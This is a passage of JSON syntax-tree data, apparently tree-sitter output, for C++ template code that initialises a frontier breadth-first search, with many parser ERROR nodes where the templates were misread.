"binary_expression", "text": "template <class", "parent": 288, "children": [290, 291], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 15}}, {"id": 290, "type": "identifier", "text": "template", "parent": 289, "children": [], "start_point": {"row": 61, "column": 0}, "end_point": {"row": 61, "column": 8}}, {"id": 291, "type": "<", "text": "<", "parent": 289, "children": [], "start_point": {"row": 61, "column": 9}, "end_point": {"row": 61, "column": 10}}, {"id": 292, "type": "ERROR", "text": "state", "parent": 288, "children": [293], "start_point": {"row": 61, "column": 16}, "end_point": {"row": 61, "column": 21}}, {"id": 293, "type": "identifier", "text": "state", "parent": 292, "children": [], "start_point": {"row": 61, "column": 16}, "end_point": {"row": 61, "column": 21}}, {"id": 294, "type": "comma_expression", "text": "action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 288, "children": [295, 304], "start_point": {"row": 61, "column": 29}, "end_point": {"row": 65, "column": 33}}, {"id": 295, "type": "binary_expression", "text": "action>\nvoid FrontierBFS<state", "parent": 294, "children": [296, 302, 303], "start_point": {"row": 61, "column": 29}, "end_point": {"row": 62, "column": 22}}, {"id": 296, "type": "binary_expression", "text": "action>\nvoid FrontierBFS", "parent": 295, "children": [297, 298, 299, 301], "start_point": {"row": 61, "column": 29}, "end_point": {"row": 62, "column": 16}}, {"id": 297, "type": "identifier", "text": "action", "parent": 296, "children": [], "start_point": {"row": 61, "column": 29}, "end_point": {"row": 61, "column": 35}}, {"id": 298, "type": ">", "text": ">", "parent": 296, "children": [], "start_point": {"row": 61, "column": 35}, "end_point": {"row": 61, "column": 36}}, {"id": 299, "type": "ERROR", "text": "void", "parent": 296, "children": [300], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 62, "column": 4}}, {"id": 300, "type": "identifier", "text": "void", "parent": 299, "children": [], "start_point": {"row": 62, "column": 0}, "end_point": {"row": 62, "column": 4}}, {"id": 301, "type": "identifier", "text": "FrontierBFS", "parent": 296, "children": [], "start_point": {"row": 62, "column": 5}, "end_point": {"row": 62, "column": 16}}, {"id": 302, "type": "<", "text": "<", "parent": 295, "children": [], "start_point": {"row": 62, "column": 16}, "end_point": {"row": 62, "column": 17}}, {"id": 303, "type": "identifier", "text": "state", "parent": 295, "children": [], "start_point": {"row": 62, "column": 17}, "end_point": {"row": 62, "column": 22}}, {"id": 304, "type": "binary_expression", "text": "action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 294, "children": [305, 306, 307, 323], "start_point": {"row": 62, "column": 24}, "end_point": {"row": 65, "column": 33}}, {"id": 305, "type": "identifier", "text": "action", "parent": 304, "children": [], "start_point": {"row": 62, "column": 24}, "end_point": {"row": 62, "column": 30}}, {"id": 306, "type": ">", "text": ">", "parent": 304, "children": [], "start_point": {"row": 62, "column": 30}, "end_point": {"row": 62, "column": 31}}, {"id": 307, "type": "ERROR", "text": "::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)\n{", "parent": 304, "children": [308], "start_point": {"row": 62, "column": 31}, "end_point": {"row": 64, "column": 1}}, {"id": 308, "type": "call_expression", "text": "InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)", "parent": 307, "children": [309, 310], "start_point": {"row": 62, "column": 33}, "end_point": {"row": 63, "column": 26}}, {"id": 309, "type": "identifier", "text": "InitializeSearch", "parent": 308, "children": [], "start_point": {"row": 62, "column": 33}, "end_point": {"row": 62, "column": 49}}, {"id": 310, "type": "argument_list", "text": "(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t state &from)", "parent": 308, "children": [311, 315, 321], "start_point": {"row": 62, "column": 49}, "end_point": {"row": 63, "column": 26}}, {"id": 311, "type": "binary_expression", "text": "SearchEnvironment<state", "parent": 310, "children": [312, 313, 314], "start_point": {"row": 62, "column": 50}, "end_point": {"row": 62, "column": 73}}, {"id": 312, "type": "identifier", "text": "SearchEnvironment", "parent": 311, "children": [], "start_point": {"row": 62, "column": 50}, "end_point": {"row": 62, "column": 67}}, {"id": 313, "type": "<", "text": "<", "parent": 311, "children": [], "start_point": {"row": 62, "column": 67}, "end_point": {"row": 62, "column": 68}}, {"id": 314, "type": "identifier", "text": "state", "parent": 311, "children": [], "start_point": {"row": 62, "column": 68}, "end_point": {"row": 62, "column": 73}}, {"id": 315, "type": "binary_expression", "text": "action> *env", "parent": 310, "children": [316, 317, 318], "start_point": {"row": 62, "column": 75}, "end_point": {"row": 62, "column": 87}}, {"id": 316, "type": "identifier", "text": "action", "parent": 315, "children": [], "start_point": {"row": 62, "column": 75}, "end_point": {"row": 62, "column": 81}}, {"id": 317, "type": ">", "text": ">", "parent": 315, "children": [], "start_point": {"row": 62, "column": 81}, "end_point": {"row": 62, "column": 82}}, {"id": 318, "type": "pointer_expression", "text": "*env", "parent": 315, "children": [319, 320], "start_point": {"row": 62, "column": 83}, "end_point": {"row": 62, "column": 87}}, {"id": 319, "type": "*", "text": "*", "parent": 318, "children": [], "start_point": {"row": 62, "column": 83}, "end_point": {"row": 62, "column": 84}}, {"id": 320, "type": "identifier", "text": "env", "parent": 318, "children": [], "start_point": {"row": 62, "column": 84}, "end_point": {"row": 62, "column": 87}}, {"id": 321, "type": "binary_expression", "text": "state &from", "parent": 310, "children": [322], "start_point": {"row": 63, "column": 14}, "end_point": {"row": 63, "column": 25}}, {"id": 322, "type": "identifier", "text": "state", "parent": 321, "children": [], "start_point": {"row": 63, "column": 14}, "end_point": {"row": 63, "column": 19}}, {"id": 323, "type": "assignment_expression", "text": "nodesExpanded = nodesTouched = 0", "parent": 304, "children": [324, 325, 326], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 33}}, {"id": 324, "type": "identifier", "text": "nodesExpanded", "parent": 323, "children": [], "start_point": {"row": 65, "column": 1}, "end_point": {"row": 65, "column": 14}}, {"id": 325, "type": "=", "text": "=", "parent": 323, "children": [], "start_point": {"row": 65, "column": 15}, "end_point": {"row": 65, "column": 16}}, {"id": 326, "type": "assignment_expression", "text": "nodesTouched = 0", "parent": 323, "children": [327, 328, 329], "start_point": {"row": 65, "column": 17}, "end_point": {"row": 65, "column": 33}}, {"id": 327, "type": "identifier", "text": "nodesTouched", "parent": 326, "children": [], "start_point": {"row": 65, "column": 17}, "end_point": {"row": 65, "column": 29}}, {"id": 328, "type": "=", "text": "=", "parent": 326, "children": [], "start_point": {"row": 65, "column": 30}, "end_point": {"row": 65, "column": 31}}, {"id": 329, "type": "number_literal", "text": "0", "parent": 326, "children": [], "start_point": {"row": 65, "column": 32}, "end_point": {"row": 65, "column": 33}}, {"id": 330, "type": "call_expression", "text": "mOpen1.clear()", "parent": 0, "children": [331, 334], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 15}}, {"id": 331, "type": "field_expression", "text": "mOpen1.clear", "parent": 330, "children": [332, 333], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 13}}, {"id": 332, "type": "identifier", "text": "mOpen1", "parent": 331, "children": [], "start_point": {"row": 67, "column": 1}, "end_point": {"row": 67, "column": 7}}, {"id": 333, "type": "field_identifier", "text": "clear", "parent": 331, "children": [], "start_point": {"row": 67, "column": 8}, "end_point": {"row": 67, "column": 13}}, {"id": 334, "type": "argument_list", "text": "()", "parent": 330, "children": [], "start_point": {"row": 67, "column": 13}, "end_point": {"row": 67, "column": 15}}, {"id": 335, "type": "call_expression", "text": "mOpen2.clear()", "parent": 0, "children": [336, 339], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 15}}, {"id": 336, "type": "field_expression", "text": "mOpen2.clear", "parent": 335, "children": [337, 338], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 13}}, {"id": 337, "type": "identifier", "text": "mOpen2", "parent": 336, "children": [], "start_point": {"row": 68, "column": 1}, "end_point": {"row": 68, "column": 7}}, {"id": 338, "type": "field_identifier", "text": "clear", "parent": 336, "children": [], "start_point": {"row": 68, "column": 8}, "end_point": {"row": 68, "column": 13}}, {"id": 339, "type": "argument_list", "text": "()", "parent": 335, "children": [], "start_point": {"row": 68, "column": 13}, "end_point": {"row": 68, "column": 15}}, {"id": 340, "type": "call_expression", "text": "mClosed1.clear()", "parent": 0, "children": [341, 344], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 17}}, {"id": 341, "type": "field_expression", "text": "mClosed1.clear", "parent": 340, "children": [342, 343], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 15}}, {"id": 342, "type": "identifier", "text": "mClosed1", "parent": 341, "children": [], "start_point": {"row": 69, "column": 1}, "end_point": {"row": 69, "column": 9}}, {"id": 343, "type": "field_identifier", "text": "clear", "parent": 341, "children": [], "start_point": {"row": 69, "column": 10}, "end_point": {"row": 69, "column": 15}}, {"id": 344, "type": "argument_list", "text": "()", "parent": 340, "children": [], "start_point": {"row": 69, "column": 15}, "end_point": {"row": 69, "column": 17}}, {"id": 345, "type": "call_expression", "text": "mClosed2.clear()", "parent": 0, "children": [346, 349], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 17}}, {"id": 346, "type": "field_expression", "text": "mClosed2.clear", "parent": 345, "children": [347, 348], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 15}}, {"id": 347, "type": "identifier", "text": "mClosed2", "parent": 346, "children": [], "start_point": {"row": 70, "column": 1}, "end_point": {"row": 70, "column": 9}}, {"id": 348, "type": "field_identifier", "text": "clear", "parent": 346, "children": [], "start_point": {"row": 70, "column": 10}, "end_point": {"row": 70, "column": 15}}, {"id": 349, "type": "argument_list", "text": "()", "parent": 345, "children": [], "start_point": {"row": 70, "column": 15}, "end_point": {"row": 70, "column": 17}}, {"id": 350, "type": "call_expression", "text": "mOpen1.push_back(from)", "parent": 0, "children": [351, 354], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 23}}, {"id": 351, "type": "field_expression", "text": "mOpen1.push_back", "parent": 350, "children": [352, 353], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 17}}, {"id": 352, "type": "identifier", "text": "mOpen1", "parent": 351, "children": [], "start_point": {"row": 72, "column": 1}, "end_point": {"row": 72, "column": 7}}, {"id": 353, "type": "field_identifier", "text": "push_back", "parent": 351, "children": [], "start_point": {"row": 72, "column": 8}, "end_point": {"row": 72, "column": 17}}, {"id": 354, "type": "argument_list", "text": "(from)", "parent": 350, "children": [], "start_point": {"row": 72, "column": 17}, "end_point": {"row": 72, "column": 23}}, {"id": 355, "type": "assignment_expression", "text": "depth = 0", "parent": 0, "children": [356, 357, 358], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 10}}, {"id": 356, "type": "identifier", "text": "depth", "parent": 355, "children": [], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 73, "column": 6}}, {"id": 357, "type": "=", "text": "=", "parent": 355, "children": [], "start_point": {"row": 73, "column": 7}, "end_point": {"row": 73, "column": 8}}, {"id": 358, "type": "number_literal", "text": "0", "parent": 355, "children": [], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 10}}, {"id": 359, "type": "comma_expression", "text": "template <class state, class action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 0, "children": [360, 363, 365], "start_point": {"row": 76, "column": 0}, "end_point": {"row": 80, "column": 33}}, {"id": 360, "type": "binary_expression", "text": "template <class", "parent": 359, "children": [361, 362], "start_point": {"row": 76, "column": 0}, "end_point": {"row": 76, "column": 15}}, {"id": 361, "type": "identifier", "text": "template", "parent": 360, "children": [], "start_point": {"row": 76, "column": 0}, "end_point": {"row": 76, "column": 8}}, {"id": 362, "type": "<", "text": "<", "parent": 360, "children": [], "start_point": {"row": 76, "column": 9}, "end_point": {"row": 76, "column": 10}}, {"id": 363, "type": "ERROR", "text": "state", "parent": 359, "children": [364], "start_point": {"row": 76, "column": 16}, "end_point": {"row": 76, "column": 21}}, {"id": 364, "type": "identifier", "text": "state", "parent": 363, "children": [], "start_point": {"row": 76, "column": 16}, "end_point": {"row": 76, "column": 21}}, {"id": 365, "type": "comma_expression", "text": "action>\nvoid FrontierBFS<state, action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 359, "children": [366, 375], "start_point": {"row": 76, "column": 29}, "end_point": {"row": 80, "column": 33}}, {"id": 366, "type": "binary_expression", "text": "action>\nvoid FrontierBFS<state", "parent": 365, "children": [367, 373, 374], "start_point": {"row": 76, "column": 29}, "end_point": {"row": 77, "column": 22}}, {"id": 367, "type": "binary_expression", "text": "action>\nvoid FrontierBFS", "parent": 366, "children": [368, 369, 370, 372], "start_point": {"row": 76, "column": 29}, "end_point": {"row": 77, "column": 16}}, {"id": 368, "type": "identifier", "text": "action", "parent": 367, "children": [], "start_point": {"row": 76, "column": 29}, "end_point": {"row": 76, "column": 35}}, {"id": 369, "type": ">", "text": ">", "parent": 367, "children": [], "start_point": {"row": 76, "column": 35}, "end_point": {"row": 76, "column": 36}}, {"id": 370, "type": "ERROR", "text": "void", "parent": 367, "children": [371], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 77, "column": 4}}, {"id": 371, "type": "identifier", "text": "void", "parent": 370, "children": [], "start_point": {"row": 77, "column": 0}, "end_point": {"row": 77, "column": 4}}, {"id": 372, "type": "identifier", "text": "FrontierBFS", "parent": 367, "children": [], "start_point": {"row": 77, "column": 5}, "end_point": {"row": 77, "column": 16}}, {"id": 373, "type": "<", "text": "<", "parent": 366, "children": [], "start_point": {"row": 77, "column": 16}, "end_point": {"row": 77, "column": 17}}, {"id": 374, "type": "identifier", "text": "state", "parent": 366, "children": [], "start_point": {"row": 77, "column": 17}, "end_point": {"row": 77, "column": 22}}, {"id": 375, "type": "binary_expression", "text": "action>::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 365, "children": [376, 377, 378, 401], "start_point": {"row": 77, "column": 24}, "end_point": {"row": 80, "column": 33}}, {"id": 376, "type": "identifier", "text": "action", "parent": 375, "children": [], "start_point": {"row": 77, "column": 24}, "end_point": {"row": 77, "column": 30}}, {"id": 377, "type": ">", "text": ">", "parent": 375, "children": [], "start_point": {"row": 77, "column": 30}, "end_point": {"row": 77, "column": 31}}, {"id": 378, "type": "ERROR", "text": "::InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)\n{", "parent": 375, "children": [379], "start_point": {"row": 77, "column": 31}, "end_point": {"row": 79, "column": 1}}, {"id": 379, "type": "call_expression", "text": "InitializeSearch(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)", "parent": 378, "children": [380, 381], "start_point": {"row": 77, "column": 33}, "end_point": {"row": 78, "column": 39}}, {"id": 380, "type": "identifier", "text": "InitializeSearch", "parent": 379, "children": [], "start_point": {"row": 77, "column": 33}, "end_point": {"row": 77, "column": 49}}, {"id": 381, "type": "argument_list", "text": "(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t\t\t std::vector<state> &from)", "parent": 379, "children": [382, 386, 392, 394], "start_point": {"row": 77, "column": 49}, "end_point": {"row": 78, "column": 39}}, {"id": 382, "type": "binary_expression", "text": "SearchEnvironment<state", "parent": 381, "children": [383, 384, 385], "start_point": {"row": 77, "column": 50}, "end_point": {"row": 77, "column": 73}}, {"id": 383, "type": "identifier", "text": "SearchEnvironment", "parent": 382, "children": [], "start_point": {"row": 77, "column": 50}, "end_point": {"row": 77, "column": 67}}, {"id": 384, "type": "<", "text": "<", "parent": 382, "children": [], "start_point": {"row": 77, "column": 67}, "end_point": {"row": 77, "column": 68}}, {"id": 385, "type": "identifier", "text": "state", "parent": 382, "children": [], "start_point": {"row": 77, "column": 68}, "end_point": {"row": 77, "column": 73}}, {"id": 386, "type": "binary_expression", "text": "action> *env", "parent": 381, "children": [387, 388, 389], "start_point": {"row": 77, "column": 75}, "end_point": {"row": 77, "column": 87}}, {"id": 387, "type": "identifier", "text": "action", "parent": 386, "children": [], "start_point": {"row": 77, "column": 75}, "end_point": {"row": 77, "column": 81}}, {"id": 388, "type": ">", "text": ">", "parent": 386, "children": [], "start_point": {"row": 77, "column": 81}, "end_point": {"row": 77, "column": 82}}, {"id": 389, "type": "pointer_expression", "text": "*env", "parent": 386, "children": [390, 391], "start_point": {"row": 77, "column": 83}, "end_point": {"row": 77, "column": 87}}, {"id": 390, "type": "*", "text": "*", "parent": 389, "children": [], "start_point": {"row": 77, "column": 83}, "end_point": {"row": 77, "column": 84}}, {"id": 391, "type": "identifier", "text": "env", "parent": 389, "children": [], "start_point": {"row": 77, "column": 84}, "end_point": {"row": 77, "column": 87}}, {"id": 392, "type": "ERROR", "text": "std::", "parent": 381, "children": [393], "start_point": {"row": 78, "column": 14}, "end_point": {"row": 78, "column": 19}}, {"id": 393, "type": "identifier", "text": "std", "parent": 392, "children": [], "start_point": {"row": 78, "column": 14}, "end_point": {"row": 78, "column": 17}}, {"id": 394, "type": "binary_expression", "text": "vector<state> &from", "parent": 381, "children": [395, 399, 400], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 38}}, {"id": 395, "type": "binary_expression", "text": "vector<state", "parent": 394, "children": [396, 397, 398], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 31}}, {"id": 396, "type": "identifier", "text": "vector", "parent": 395, "children": [], "start_point": {"row": 78, "column": 19}, "end_point": {"row": 78, "column": 25}}, {"id": 397, "type": "<", "text": "<", "parent": 395, "children": [], "start_point": {"row": 78, "column": 25}, "end_point": {"row": 78, "column": 26}}, {"id": 398, "type": "identifier", "text": "state", "parent": 395, "children": [], "start_point": {"row": 78, "column": 26}, "end_point": {"row": 78, "column": 31}}, {"id": 399, "type": ">", "text": ">", "parent": 394, "children": [], "start_point": {"row": 78, "column": 31}, "end_point": {"row": 78, "column": 32}}, {"id": 400, "type": "pointer_expression", "text": "&from", "parent": 394, "children": [], "start_point": {"row": 78, "column": 33}, "end_point": {"row": 78, "column": 38}}, {"id": 401, "type": "assignment_expression", "text": "nodesExpanded = nodesTouched = 0", "parent": 375, "children": [402, 403, 404], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 33}}, {"id": 402, "type": "identifier", "text": "nodesExpanded", "parent": 401, "children": [], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 14}}, {"id": 403, "type": "=", "text": "=", "parent": 401, "children": [], "start_point": {"row": 80, "column": 15}, "end_point": {"row": 80, "column": 16}}, {"id": 404, "type": "assignment_expression", "text": "nodesTouched = 0", "parent": 401, "children": [405, 406, 407], "start_point": {"row": 80, "column": 17}, "end_point": {"row": 80, "column": 33}}, {"id": 405, "type": "identifier", "text": "nodesTouched", "parent": 404, "children": [], "start_point": {"row": 80, "column": 17}, "end_point": {"row": 80, "column": 29}}, {"id": 406, "type": "=", "text": "=", "parent": 404, "children": [], "start_point": {"row": 80, "column": 30}, "end_point": {"row": 80, "column": 31}}, {"id": 407, "type": "number_literal", "text": "0", "parent": 404, "children": [], "start_point": {"row": 80, "column": 32}, "end_point": {"row": 80, "column": 33}}, {"id": 408, "type": "call_expression", "text": "mOpen1.clear()", "parent": 0, "children": [409, 412], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 15}}, {"id": 409, "type": "field_expression", "text": "mOpen1.clear", "parent": 408, "children": [410, 411], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 13}}, {"id": 410, "type": "identifier", "text": "mOpen1", "parent": 409, "children": [], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 82, "column": 7}}, {"id": 411, "type": "field_identifier", "text": "clear", "parent": 409, "children": [], "start_point": {"row": 82, "column": 8}, "end_point": {"row": 82, "column": 13}}, {"id": 412, "type": "argument_list", "text": "()", "parent": 408, "children": [], "start_point": {"row": 82, "column": 13}, "end_point": {"row": 82, "column": 15}}, {"id": 413, "type": "call_expression", "text": "mOpen2.clear()", "parent": 0, "children": [414, 417], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 15}}, {"id": 414, "type": "field_expression", "text": "mOpen2.clear", "parent": 413, "children": [415, 416], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 13}}, {"id": 415, "type": "identifier", "text": "mOpen2", "parent": 414, "children": [], "start_point": {"row": 83, "column": 1}, "end_point": {"row": 83, "column": 7}}, {"id": 416, "type": "field_identifier", "text": "clear", "parent": 414, "children": [], "start_point": {"row": 83, "column": 8}, "end_point": {"row": 83, "column": 13}}, {"id": 417, "type": "argument_list", "text": "()", "parent": 413, "children": [], "start_point": {"row": 83, "column": 13}, "end_point": {"row": 83, "column": 15}}, {"id": 418, "type": "call_expression", "text": "mClosed1.clear()", "parent": 0, "children": [419, 422], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 17}}, {"id": 419, "type": "field_expression", "text": "mClosed1.clear", "parent": 418, "children": [420, 421], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 15}}, {"id": 420, "type": "identifier", "text": "mClosed1", "parent": 419, "children": [], "start_point": {"row": 84, "column": 1}, "end_point": {"row": 84, "column": 9}}, {"id": 421, "type": "field_identifier", "text": "clear", "parent": 419, "children": [], "start_point": {"row": 84, "column": 10}, "end_point": {"row": 84, "column": 15}}, {"id": 422, "type": "argument_list", "text": "()", "parent": 418, "children": [], "start_point": {"row": 84, "column": 15}, "end_point": {"row": 84, "column": 17}}, {"id": 423, "type": "call_expression", "text": "mClosed2.clear()", "parent": 0, "children": [424, 427], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 17}}, {"id": 424, "type": "field_expression", "text": "mClosed2.clear", "parent": 423, "children": [425, 426], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 15}}, {"id": 425, "type": "identifier", "text": "mClosed2", "parent": 424, "children": [], "start_point": {"row": 85, "column": 1}, "end_point": {"row": 85, "column": 9}}, {"id": 426, "type": "field_identifier", "text": "clear", "parent": 424, "children": [], "start_point": {"row": 85, "column": 10}, "end_point": {"row": 85, "column": 15}}, {"id": 427, "type": "argument_list", "text": "()", "parent": 423, "children": [], "start_point": {"row": 85, "column": 15}, "end_point": {"row": 85, "column": 17}}, {"id": 428, "type": "for_statement", "text": "for (unsigned int x = 0; x < from.size(); x++)\n\t\tmOpen1.push_back(from[x]);", "parent": 0, "children": [429, 437, 444], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 88, "column": 28}}, {"id": 429, "type": "declaration", "text": "unsigned int x = 0;", "parent": 428, "children": [430, 433], "start_point": {"row": 87, "column": 6}, "end_point": {"row": 87, "column": 25}}, {"id": 430, "type": "sized_type_specifier", "text": "unsigned int", "parent": 429, "children": [431, 432], "start_point": {"row": 87, "column": 6}, "end_point": {"row": 87, "column": 18}}, {"id": 431, "type": "unsigned", "text": "unsigned", "parent": 430, "children": [], "start_point": {"row": 87, "column": 6}, "end_point": {"row": 87, "column": 14}}, {"id": 432, "type": "primitive_type", "text": "int", "parent": 430, "children": [], "start_point": {"row": 87, "column": 15}, "end_point": {"row": 87, "column": 18}}, {"id": 433, "type": "init_declarator", "text": "x = 0", "parent": 429, "children": [434, 435, 436], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 24}}, {"id": 434, "type": "identifier", "text": "x", "parent": 433, "children": [], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 20}}, {"id": 435, "type": "=", "text": "=", "parent": 433, "children": [], "start_point": {"row": 87, "column": 21}, "end_point": {"row": 87, "column": 22}}, {"id": 436, "type": "number_literal", "text": "0", "parent": 433, "children": [], "start_point": {"row": 87, "column": 23}, "end_point": {"row": 87, "column": 24}}, {"id": 437, "type": "binary_expression", "text": "x < from.size()", "parent": 428, "children": [438, 439, 440], "start_point": {"row": 87, "column": 26}, "end_point": {"row": 87, "column": 41}}, {"id": 438, "type": "identifier", "text": "x", "parent": 437, "children": [], "start_point": {"row": 87, "column": 26}, "end_point": {"row": 87, "column": 27}}, {"id": 439, "type": "<", "text": "<", "parent": 437, "children": [], "start_point": {"row": 87, "column": 28}, "end_point": {"row": 87, "column": 29}}, {"id": 440, "type": "call_expression", "text": "from.size()", "parent": 437, "children": [441, 443], "start_point": {"row": 87, "column": 30}, "end_point": {"row": 87, "column": 41}}, {"id": 441, "type": "field_expression", "text": "from.size", "parent": 440, "children": [442], "start_point": {"row": 87, "column": 30}, "end_point": {"row": 87, "column": 39}}, {"id": 442, "type": "field_identifier", "text": "size", "parent": 441, "children": [], "start_point": {"row": 87, "column": 35}, "end_point": {"row": 87, "column": 39}}, {"id": 443, "type": "argument_list", "text": "()", "parent": 440, "children": [], "start_point": {"row": 87, "column": 39}, "end_point": {"row": 87, "column": 41}}, {"id": 444, "type": "update_expression", "text": "x++", "parent": 428, "children": [445, 446], "start_point": {"row": 87, "column": 43}, "end_point": {"row": 87, "column": 46}}, {"id": 445, "type": "identifier", "text": "x", "parent": 444, "children": [], "start_point": {"row": 87, "column": 43}, "end_point": {"row": 87, "column": 44}}, {"id": 446, "type": "++", "text": "++", "parent": 444, "children": [], "start_point": {"row": 87, "column": 44}, "end_point": {"row": 87, "column": 46}}, {"id": 447, "type": "call_expression", "text": "mOpen1.push_back(from[x])", "parent": 428, "children": [448, 451], "start_point": {"row": 88, "column": 2}, "end_point": {"row": 88, "column": 27}}, {"id": 448, "type": "field_expression", "text": "mOpen1.push_back", "parent": 447, "children": [449, 450], "start_point": {"row": 88, "column": 2}, "end_point": {"row": 88, "column": 18}}, {"id": 449, "type": "identifier", "text": "mOpen1", "parent": 448, "children": [], "start_point": {"row": 88, "column": 2}, "end_point": {"row": 88, "column": 8}}, {"id": 450, "type": "field_identifier", "text": "push_back", "parent": 448, "children": [], "start_point": {"row": 88, "column": 9}, "end_point": {"row": 88, "column": 18}}, {"id": 451, "type": "argument_list", "text": "(from[x])", "parent": 447, "children": [452], "start_point": {"row": 88, "column": 18}, "end_point": {"row": 88, "column": 27}}, {"id": 452, "type": "subscript_expression", "text": "from[x]", "parent": 451, "children": [453], "start_point": {"row": 88, "column": 19}, "end_point": {"row": 88, "column": 26}}, {"id": 453, "type": "identifier", "text": "x", "parent": 452, "children": [], "start_point": {"row": 88, "column": 24}, "end_point": {"row": 88, "column": 25}}, {"id": 454, "type": "assignment_expression", "text": "depth = 0", "parent": 0, "children": [455, 456, 457], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 10}}, {"id": 455, "type": "identifier", "text": "depth", "parent": 454, "children": [], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 6}}, {"id": 456, "type": "=", "text": "=", "parent": 454, "children": [], "start_point": {"row": 89, "column": 7}, "end_point": {"row": 89, "column": 8}}, {"id": 457, "type": "number_literal", "text": "0", "parent": 454, "children": [], "start_point": {"row": 89, "column": 9}, "end_point": {"row": 89, "column": 10}}, {"id": 458, "type": "ERROR", "text": "}\n\ntemplate <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)\n{", "parent": 0, "children": [459], "start_point": {"row": 90, "column": 0}, "end_point": {"row": 94, "column": 1}}, {"id": 459, "type": "comma_expression", "text": "template <class state, class action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)", "parent": 458, "children": [460, 463, 465], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 93, "column": 86}}, {"id": 460, "type": "binary_expression", "text": "template <class", "parent": 459, "children": [461, 462], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 15}}, {"id": 461, "type": "identifier", "text": "template", "parent": 460, "children": [], "start_point": {"row": 92, "column": 0}, "end_point": {"row": 92, "column": 8}}, {"id": 462, "type": "<", "text": "<", "parent": 460, "children": [], "start_point": {"row": 92, "column": 9}, "end_point": {"row": 92, "column": 10}}, {"id": 463, "type": "ERROR", "text": "state", "parent": 459, "children": [464], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 21}}, {"id": 464, "type": "identifier", "text": "state", "parent": 463, "children": [], "start_point": {"row": 92, "column": 16}, "end_point": {"row": 92, "column": 21}}, {"id": 465, "type": "comma_expression", "text": "action>\nbool FrontierBFS<state, action>::DoOneIteration(SearchEnvironment<state, action> *env)", "parent": 459, "children": [466, 475], "start_point": {"row": 92, "column": 29}, "end_point": {"row": 93, "column": 86}}, {"id": 466, "type": "binary_expression", "text": "action>\nbool FrontierBFS<state", "parent": 465, "children": [467, 473, 474], "start_point": {"row": 92, "column": 29}, "end_point": {"row": 93, "column": 22}}, {"id": 467, "type": "binary_expression", "text": "action>\nbool FrontierBFS", "parent": 466, "children": [468, 469, 470, 472], "start_point": {"row": 92, "column": 29}, "end_point": {"row": 93, "column": 16}}, {"id": 468, "type": "identifier", "text": "action", "parent": 467, "children": [], "start_point": {"row": 92, "column": 29}, "end_point": {"row": 92, "column": 35}}, {"id": 469, "type": ">", "text": ">", "parent": 467, "children": [], "start_point": {"row": 92, "column": 35}, "end_point": {"row": 92, "column": 36}}, {"id": 470, "type": "ERROR", "text": 